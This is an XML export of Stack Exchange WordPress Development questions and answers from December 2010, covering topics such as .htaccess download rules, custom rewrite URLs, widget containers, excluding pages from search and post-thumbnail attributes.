  <row Id="5441" PostTypeId="2" ParentId="5422" CreationDate="2010-12-15T20:41:26.300" Score="0" ViewCount="" Body="&lt;p&gt;You can actually just leave your files in that subfolder and follow these steps per the codex.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the general settings, change your Site Address (URL), not the Wordpress Address URL,  to &lt;a href=&quot;http://example.com/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/&lt;/a&gt; and save.&lt;/li&gt;&#xA;&lt;li&gt;Copy (NOT MOVE!) the index.php and .htaccess files from your subdirectory into the root directory of your site.&lt;/li&gt;&#xA;&lt;li&gt;Open your root directory's index.php file in a text editor&lt;/li&gt;&#xA;&lt;li&gt;Change the line that says:&#xA;require('./wp-blog-header.php');&#xA;to the following, using your directory name for the WordPress core files:&#xA;require('./test/wp-blog-header.php');&lt;/li&gt;&#xA;&lt;li&gt;Login to the new location. It might now be &lt;a href=&quot;http://example.com/wordpress/wp-admin/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/wordpress/wp-admin/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;If you have set up Permalinks, go to the Permalinks panel and update your Permalink structure. WordPress will automatically update your .htaccess file if it has the appropriate file permissions. If WordPress can't write to your .htaccess file, it will display the new rewrite rules to you, which you should manually copy into your .htaccess file (in the same directory as the main index.php file.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1136" LastActivityDate="2010-12-15T20:41:26.300" CommentCount="1" />
  <row Id="5442" PostTypeId="2" ParentId="5433" CreationDate="2010-12-15T20:48:15.497" Score="1" ViewCount="" Body="&lt;p&gt;Plugin is way too complex for me to follow code. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can say that in practice after emptying minify cache both CSS and JS concatenated files are rebuilt with same name, using same numerical id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my educated guess would be that numerical id is tied to file contents, rather than being random or timestamp-ish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway it is probably best to contact plugin's developer and get first hand info. He is registered here ( &lt;a href=&quot;http://wordpress.stackexchange.com/users/1142/frederick-townes&quot;&gt;Frederick Townes&lt;/a&gt; ), but not very active - so email or official WP forums are better for that.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-15T20:48:15.497" CommentCount="1" />
  <row Id="5443" PostTypeId="2" ParentId="5419" CreationDate="2010-12-15T20:56:24.680" Score="5" ViewCount="" Body="&lt;p&gt;you may try to add this to your .htaccess :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;FilesMatch &quot;\.(?i:pdf)$&quot;&amp;gt;&#xA;    # Force File Download&#xA;    ForceType application/octet-stream&#xA;    Header set Content-Disposition attachment&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2010-12-15T20:56:24.680" CommentCount="3" />
  <row Id="5444" PostTypeId="1" AcceptedAnswerId="5480" CreationDate="2010-12-15T21:30:22.400" Score="0" ViewCount="306" Body="&lt;p&gt;I'm creating a separate (simple) directory that does not use any internal WP permalinks or pretty link structure.  I've been studying how to make my own custom SEF URLs for &lt;em&gt;this&lt;/em&gt; part of my site, and almost have it (or thought so). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a separate table with records like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id   |   section    |  category   | co_name&#xA;1    |  Consulting  | Innovation  | Innocentive.com&#xA;2    |   Tasks      | Employment  | Microtask.com&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The directory shows a page of all the sections &amp;amp; categories from the database at this URL:&#xA;dailycrowdsource.com/companies/&#xA;(I did this with a companies.php file &amp;amp; created a 'page' with the slug 'companies')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want this URL to display all the 'employment' category listings:&#xA;dailycrowdsource.com/companies/tasks/employment/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can handle the php &amp;amp; mySQL, but I don't know how to make the links pretty.&#xA;This works &lt;a href=&quot;http://dailycrowdsource.com/companies/?category=poll&quot; rel=&quot;nofollow&quot;&gt;http://dailycrowdsource.com/companies/?category=poll&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This helped &lt;a href=&quot;http://wordpress.org/support/topic/using-an-extra-parameter-in-an-url&quot; rel=&quot;nofollow&quot;&gt;using an extra parameter in an URL&lt;/a&gt;, &amp;amp; I think I got it working, but I couldn't figure out how to convert the &amp;lt; a href=.... into the SEF link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prefer to do this in my functions.php file, as I haven't written a plugin yet.  I've done this in Joomla with the router.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my research ( &lt;a href=&quot;http://stackoverflow.com/questions/4073599/need-help-with-friendly-urls-in-wordpress&quot;&gt;Need help with friendly URL's in Wordpress&lt;/a&gt;, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3206/custom-post-type-rewrite-rule-for-author-paging/3218#3218&quot;&gt;Custom Post Type Rewrite Rule for Author &amp;amp; Paging?&lt;/a&gt;, &lt;a href=&quot;http://codex.wordpress.org/Rewrite_API&quot; rel=&quot;nofollow&quot;&gt;Rewrite API&lt;/a&gt; ), I'm seeing a lot of the same tags &amp;amp; buzzwords, but no one explains how to change the actual link.  Does WP do it automatically?  (In Joomla you have to do: JRoute::_('index.php?var1=great&amp;amp;var2=more'); for the conversion to take place.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize the first answers will tell me to use some built in taxonomy of WP, but I need this to be updated easily. And by adding a record to the database with a brand new section or category, my directory needs to be instantly updated (that's why I've chosen this method - no administration).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate someone showing me how to add in hooks/filters/etc to make a custom SEF URL.  (All URLs will start with dailycrowdsource.com/companies/ ). (I'm hoping Mike Schinkel reads this - as I got a lot of help from his responses to similar posts)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You&#xA;-David&lt;/p&gt;&#xA;" OwnerUserId="2006" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-12-15T21:45:09.557" LastActivityDate="2011-01-31T23:58:33.937" Title="How do I display a friendly URL link in the frontend?" Tags="&lt;url-rewriting&gt;&lt;urls&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" />
  <row Id="5445" PostTypeId="1" CreationDate="2010-12-15T21:32:11.293" Score="2" ViewCount="141" Body="&lt;p&gt;My question is fairly basic. I have an archive.php and inside I have the main loop like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;Do stuff here&#xA;&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works fine for categories but not for custom taxonomies. I have a custom taxonomy called &quot;Type&quot;. I go to the WordPress menu and add the term &quot;Spa Break&quot; from the &quot;Type&quot; taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works, however I get about 10 of each post for every post. All the ID's for the duplicate posts are the same, it just decides to list 10 of each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added no custom queries or anything like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues to what might be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my taxonomy: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function build_taxonomies(){&#xA;register_taxonomy(&quot;type&quot;, array(&quot;venue&quot;), array(&quot;hierarchical&quot; =&amp;gt; true, &quot;label&quot; =&amp;gt; &quot;Types&quot;, &quot;singular_label&quot; =&amp;gt; &quot;Type&quot;, &quot;rewrite&quot; =&amp;gt; array('slug' =&amp;gt; 'type'))); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my post type code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function create_post_type() &#xA;{&#xA;    $labels = array(&#xA;        'name' =&amp;gt; __( 'Venue' ),&#xA;        'singular_name' =&amp;gt; __( 'Venue' ),&#xA;        'rewrite' =&amp;gt; array('slug' =&amp;gt; 'venues'),&#xA;        'add_new' =&amp;gt; _x('Add New', 'venue'),&#xA;        'add_new_item' =&amp;gt; __('Add New Venue'),&#xA;        'edit_item' =&amp;gt; __('Edit Venue'),&#xA;        'new_item' =&amp;gt; __('New Venue'),&#xA;        'view_item' =&amp;gt; __('View Venue'),&#xA;        'search_items' =&amp;gt; __('Search Venue'),&#xA;        'not_found' =&amp;gt;  __('No venues found'),&#xA;        'not_found_in_trash' =&amp;gt; __('No venues found in Trash'), &#xA;        'parent_item_colon' =&amp;gt; ''&#xA;      );&#xA;&#xA;      $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true, &#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'menu_position' =&amp;gt; null,&#xA;        'supports' =&amp;gt; array('title','editor','thumbnail', 'custom-fields', 'comments')&#xA;      ); &#xA;&#xA;      register_post_type('venue',$args);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="2005" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-07T23:27:31.573" LastActivityDate="2011-06-07T23:58:51.103" Title="How to prevent posts duplicating when viewing a custom taxonomy term" Tags="&lt;custom-taxonomy&gt;&lt;taxonomy&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" />
  <row Id="5446" PostTypeId="2" ParentId="5426" CreationDate="2010-12-15T21:33:36.020" Score="1" ViewCount="" Body="&lt;p&gt;Hey guys, I found &lt;strong&gt;THE&lt;/strong&gt; solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problems : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Custom field display twice.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No Ajax/jQuery visual feedback.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you've been working on the file &lt;code&gt;function.php&lt;/code&gt;, make sure you remove extra line breaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Particularly at the top and &lt;code&gt;the bottom of your file&lt;/code&gt;...&#xA;If you have some line breaks, your xml got an error : &#xA;&lt;code&gt;XML or text declaration not at start of entity&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2000" LastActivityDate="2010-12-15T21:33:36.020" CommentCount="2" />
  <row Id="5447" PostTypeId="2" ParentId="5407" CreationDate="2010-12-15T22:32:41.260" Score="2" ViewCount="" Body="&lt;p&gt;If you're talking about subscribing to a page's &lt;em&gt;wall&lt;/em&gt; (not notifications feed), then yes, you can do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find the feed for the wall, the easiest thing is to visit the target Facebook page in Firefox. Click the RSS icon in the address bar and choose &quot;Subscribe to THE PAGE NAME&quot;. This will bring you to the actual feed. Copy the URL of the feed, and set it up as a new Facebook feed in your Lifestream settings (Lifestream &gt; Feeds &gt; Add a Feed &gt; Facebook). And you're done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason you can't subscribe to a page's notifications feed is that there is no such thing. Pages are connected to user accounts, and as such they don't have notifications feeds of their own. If you do see a notifications feed while you're administering a Facebook page, it's the feed of the administering user, not of the page itself.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-15T22:32:41.260" CommentCount="2" />
  <row Id="5448" PostTypeId="1" AcceptedAnswerId="5449" CreationDate="2010-12-15T22:36:31.037" Score="0" ViewCount="108" Body="&lt;p&gt;My theme creates several widget areas for the end user. However, I've got a slight problem in that, if multiple widgets are dropped onto any sidebar container, the resulting code in &quot;view source&quot; is not wrapped in a single container div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here's what it looks like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//start of a single widget container&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div class=&quot;name-of-my-widget&quot;&amp;gt;&amp;lt;h4&amp;gt;Widget title&amp;lt;/h4&amp;gt;&amp;lt;div class=&quot;textwidget&quot;&amp;gt;contents of widget 1&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div class=&quot;name-of-my-widget&quot;&amp;gt;&amp;lt;h4&amp;gt;Widget title&amp;lt;/h4&amp;gt;&amp;lt;div class=&quot;textwidget&quot;&amp;gt;contents of widget 2&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to do to the way I'm creating this widget so that a single wrapper div encloses all of the widgets added to the container?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists('register_sidebar') )&#xA;register_sidebar(array(&#xA;    'name' =&amp;gt; 'Inside Header Area',&#xA;    'id' =&amp;gt; 'inside-header-widget',&#xA;    'before_widget' =&amp;gt; '&amp;lt;div class=&quot;test-sidebar  %2$s&quot;&amp;gt;',&#xA;    'after_widget' =&amp;gt; '&amp;lt;/div&amp;gt;', &#xA;    'before_title' =&amp;gt; '&amp;lt;h4&amp;gt;',&#xA;    'after_title' =&amp;gt; '&amp;lt;/h4&amp;gt;',&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-12-15T22:42:43.600" Title="How do you force a sidebar widget to have a container div around all child widgets?" Tags="&lt;theme-development&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="5449" PostTypeId="2" ParentId="5448" CreationDate="2010-12-15T22:42:43.600" Score="1" ViewCount="" Body="&lt;p&gt;Sidebar functionality doesn't handle wrapping container, you need to add that on template level. Here is example markup of &lt;code&gt;sidebar-primary.php&lt;/code&gt; template (taken from Hybrid theme and simplified a bit):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_active_sidebar( 'primary' ) ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;primary&quot; class=&quot;sidebar aside&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php dynamic_sidebar( 'primary' ); ?&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #primary .aside --&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also I highly recommend Justin's &lt;a href=&quot;http://justintadlock.com/archives/2010/11/08/sidebars-in-wordpress&quot; rel=&quot;nofollow&quot;&gt;Sidebars in WordPress&lt;/a&gt; tutorial.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-15T22:42:43.600" CommentCount="1" />
  <row Id="5450" PostTypeId="1" AcceptedAnswerId="5463" CreationDate="2010-12-15T22:43:10.627" Score="0" ViewCount="172" Body="&lt;p&gt;This plugin is a simple demo test to see if I can dynamically populate a pre-existing widget area with text. In this case, my theme has created the widget area &quot;home-header-widget&quot; and I'm trying to populate it with the contents of 'text' below. I'm stuck at the line...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sidebars_widgets[$sidebar_id] = &quot;widget_text-&quot;.$id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In that I'm not certain how to obtain a reference to the dynamically created text widget object in order to preset its contents and place it inside my 'home-header-widget'...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Widget Test&#xA;*/&#xA;function cb_activate_widgettest(){&#xA;&#xA;$sidebar_id = 'home-header-widget';&#xA;$sidebars_widgets = get_option('sidebars_widgets');&#xA;$id = count($opts)+1;&#xA;$sidebars_widgets[$sidebar_id] = array(&quot;text-&quot;.$id);&#xA;&#xA;$ops = get_option('widget_text');&#xA;// find an $id that works...&#xA;$ops[$id] = array(&#xA;  'title' =&amp;gt; 'foo hoo',&#xA;  'text' =&amp;gt; 'bar mitz', // content?&#xA;);&#xA;update_option('widget_text', $ops); &#xA;update_option('sidebars_widgets', $sidebars_widgets);&#xA;&#xA;}&#xA;&#xA;register_activation_hook(__FILE__, 'cb_activate_widgettest');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-03-13T02:59:23.287" LastActivityDate="2011-03-13T02:59:23.287" Title="Possible to preset a widget's contents via a plugin script?" Tags="&lt;plugin-development&gt;&lt;widgets&gt;" AnswerCount="2" />
  <row Id="5451" PostTypeId="1" AcceptedAnswerId="5484" CreationDate="2010-12-15T23:25:28.950" Score="5" ViewCount="5577" Body="&lt;p&gt;I just installed WP 3.1 Beta 2 on my test server. I noticed that it ships with a new &lt;code&gt;l10n.js&lt;/code&gt; file that gets automatically inserted into the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a bit of digging and it has something to do with localization. I'm guessing that many people don't use this, so I'm wondering how I could remove it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's important not to remove it, please let me know as well.&lt;/p&gt;&#xA;" OwnerUserId="1493" LastActivityDate="2011-04-18T11:23:05.197" Title="What does l10n.js do in WordPress 3.1? And how do I remove it?" Tags="&lt;javascript&gt;&lt;wp-head&gt;&lt;3.1&gt;" AnswerCount="7" FavoriteCount="4" />
  <row Id="5452" PostTypeId="1" CreationDate="2010-12-15T23:30:03.423" Score="1" ViewCount="102" Body="&lt;p&gt;When I have a syndicated post and then make an update to the syndicated copy (not original) it shows up in my blog as one long run-on paragraph. Nothing happens to the Visual or HTML data in that post, but once I click &quot;Update&quot; wordpress doesn't auto generate the necessary paragraph tags for the post. Is this a configuration problem or a bug with wordpress?&lt;/p&gt;&#xA;" LastActivityDate="2011-01-15T23:31:12.227" Title="Syndicated Posts when Updated Lose &lt;p&gt; HTML tags" Tags="&lt;posts&gt;&lt;updates&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="5453" PostTypeId="1" AcceptedAnswerId="5459" CreationDate="2010-12-16T01:01:47.230" Score="1" ViewCount="277" Body="&lt;p&gt;I don't need to search for pages in my site and only want to search posts, is there a way to do it?  Thanks&lt;/p&gt;&#xA;" LastActivityDate="2010-12-16T12:14:29.953" Title="How do I remove Pages from search?" Tags="&lt;search&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="5454" PostTypeId="1" AcceptedAnswerId="5456" CreationDate="2010-12-16T01:02:16.817" Score="1" ViewCount="189" Body="&lt;p&gt;I'm attempting to use the 'feature image' feature of Wordpress to make a full screen background, that resizes to fit the browser window using jQuery&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bit I'm stuck on is adding a custom id (#bgimg) to the code generated by this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;background&quot;&amp;gt;&amp;lt;?php the_post_thumbnail (array(1024,768));?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The image generated needs to have specific id tag in it, eg...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img id=&quot;bgimg&quot; src=&quot;wordpress/generated/etc.jpg&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that the jQuery plugin, can hook on to it, and scale it to fit the browser window. I know the jQuery works (as I've used it in other projects)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&#xA;Alex&lt;/p&gt;&#xA;" LastActivityDate="2010-12-16T01:28:01.577" Title="adding an id to the_post_thumbnail" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="5456" PostTypeId="2" ParentId="5454" CreationDate="2010-12-16T01:28:01.577" Score="2" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;get_the_post_thumbnail()&lt;/a&gt; instead. It allows you to pass in an array of attributes for the image tag that gets returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attr = array(&#xA;    'id' =&amp;gt; 'YOUR-UNIQUE-ID',&#xA;);&#xA;&#xA;echo get_the_post_thumbnail( $id, 'thumbnail', $attr );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm dumb. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;the_post_thumbnail()&lt;/a&gt; also lets you do that. Try passing the same args array I outlined as the second param.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-16T01:28:01.577" CommentCount="1" />
  <row Id="5457" PostTypeId="2" ParentId="5453" CreationDate="2010-12-16T02:00:37.040" Score="0" ViewCount="" Body="&lt;p&gt;put this in your search.php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php if (is_search() &amp;amp;&amp;amp; ($post-&amp;gt;post_type=='page')) continue; ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;right below this code -&gt; &lt;code&gt;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post();?&amp;gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can find more on here &lt;a href=&quot;http://wordpress.org/support/topic/possible-search-only-posts-exclude-pages&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/possible-search-only-posts-exclude-pages&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1043" LastActivityDate="2010-12-16T02:00:37.040" CommentCount="3" />
  <row Id="5458" PostTypeId="2" ParentId="4834" CreationDate="2010-12-16T02:02:42.283" Score="1" ViewCount="" Body="&lt;p&gt;If you're using Phusion Passenger, you can try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&#xA;ServerName www.foo.com&#xA;DocumentRoot /apps/foo/public&#xA;&amp;lt;Directory /apps/foo/public/wordpress&amp;gt;&#xA;    PassengerEnabled off&#xA;    AllowOverride all      # &amp;lt;-- Makes Wordpress's .htaccess file work.&#xA;&amp;lt;/Directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://www.modrails.com/documentation/Users%20guide%20Apache.html#_passengerenabled_lt_on_off_gt&quot; rel=&quot;nofollow&quot;&gt;http://www.modrails.com/documentation/Users%20guide%20Apache.html#_passengerenabled_lt_on_off_gt&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-12-16T02:02:42.283" CommentCount="1" />
  <row Id="5459" PostTypeId="2" ParentId="5453" CreationDate="2010-12-16T02:23:36.980" Score="7" ViewCount="" Body="&lt;p&gt;The below should make the page post type no longer search-able. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_pages_from_search() {&#xA;    global $wp_post_types;&#xA;    $wp_post_types['page']-&amp;gt;exclude_from_search = true;&#xA;}&#xA;add_action('init', 'remove_pages_from_search');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-12-16T02:23:36.980" CommentCount="3" />
  <row Id="5460" PostTypeId="1" CreationDate="2010-12-16T02:25:42.007" Score="0" ViewCount="73" Body="&lt;p&gt;Recommend any good analytics plugins you may have used and found useful. Reports such as site traffic by page, point of entry, top out going links, browser and OS information. The plugin may be paid or free. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: The reason I asked this question is to discover any new plugins that are not very popular but others have found useful. Please post any analytics plugin you may have found useful. &lt;/p&gt;&#xA;" OwnerUserId="353" LastEditorUserId="353" LastEditorDisplayName="" LastEditDate="2010-12-16T08:07:40.053" LastActivityDate="2010-12-16T08:07:40.053" Title="Any Good Analytics Plugins for WordPress? (standalone)" Tags="&lt;plugin-recommendation&gt;&lt;3.0.1&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="5461" PostTypeId="1" CreationDate="2010-12-16T02:29:47.427" Score="0" ViewCount="98" Body="&lt;p&gt;Is there a way to check the Published status of a post, and if it doesnt has at least one image or file uploaded, then change status of published to draft?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="2011" LastEditorDisplayName="" LastEditDate="2010-12-16T02:45:07.663" LastActivityDate="2010-12-16T03:40:12.517" Title="save_post requiere at least one uploaded file to be published" Tags="&lt;save-post&gt;" AnswerCount="1" />
  <row Id="5462" PostTypeId="1" AcceptedAnswerId="5464" CreationDate="2010-12-16T03:09:25.777" Score="1" ViewCount="161" Body="&lt;p&gt;Which function can be used to get the user's object using the username? I've tried get_userdatabylogin() but the function seemed to throw an error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parse error, unexpected T_STRING on line xx &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function was called like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;get_userdatabylogin($username);&lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2010-12-16T06:33:26.600" Title="Function Get User Object By Username?" Tags="&lt;plugin-development&gt;&lt;users&gt;" AnswerCount="1" />
  <row Id="5463" PostTypeId="2" ParentId="5450" CreationDate="2010-12-16T03:10:28.490" Score="2" ViewCount="" Body="&lt;p&gt;There are a few mistakes in your code:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You need to specify the instance ID manually, for eg. 2. If you want to append a text widget, and not overwrite the sidebar's contents, then try using &lt;code&gt;$id = count($opts)+1&lt;/code&gt;, or you could just generate a random ID.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &lt;strong&gt;widget_ID_base-instance_ID&lt;/strong&gt; in &lt;code&gt;$sidebars_widgets[$sidebar_id] = &quot;widget_text-&quot;.$id;&lt;/code&gt;, and put that inside a array:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$sidebars_widgets[$sidebar_id] = array(&quot;text-&quot;.$id);&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-16T03:10:28.490" CommentCount="1" />
  <row Id="5464" PostTypeId="2" ParentId="5462" CreationDate="2010-12-16T03:20:18.707" Score="5" ViewCount="" Body="&lt;p&gt;That function should do what you want. Are you sure the error is not elsewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try using the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_user_by&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_user_by()&lt;/code&gt;&lt;/a&gt;(&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.3/wp-includes/pluggable.php#L161&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;) function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$user = get_user_by('login', 'MaryJane');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same as &lt;code&gt;get_userdatabylogin('MaryJane');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-12-16T06:33:26.600" LastActivityDate="2010-12-16T06:33:26.600" />
  <row Id="5465" PostTypeId="2" ParentId="5461" CreationDate="2010-12-16T03:40:12.517" Score="2" ViewCount="" Body="&lt;p&gt;I didn't test this, but it should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_post_attachments($post_id, $post){&#xA;  if(empty(get_posts(array('post_type' =&amp;gt; 'attachment', 'post_parent' =&amp;gt; $post_id)))){&#xA;     $post['post_status'] = 'draft';&#xA;     wp_update_post($post);&#xA;  }&#xA;}&#xA;&#xA;add_action('save_post', 'check_post_attachments');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-16T03:40:12.517" />
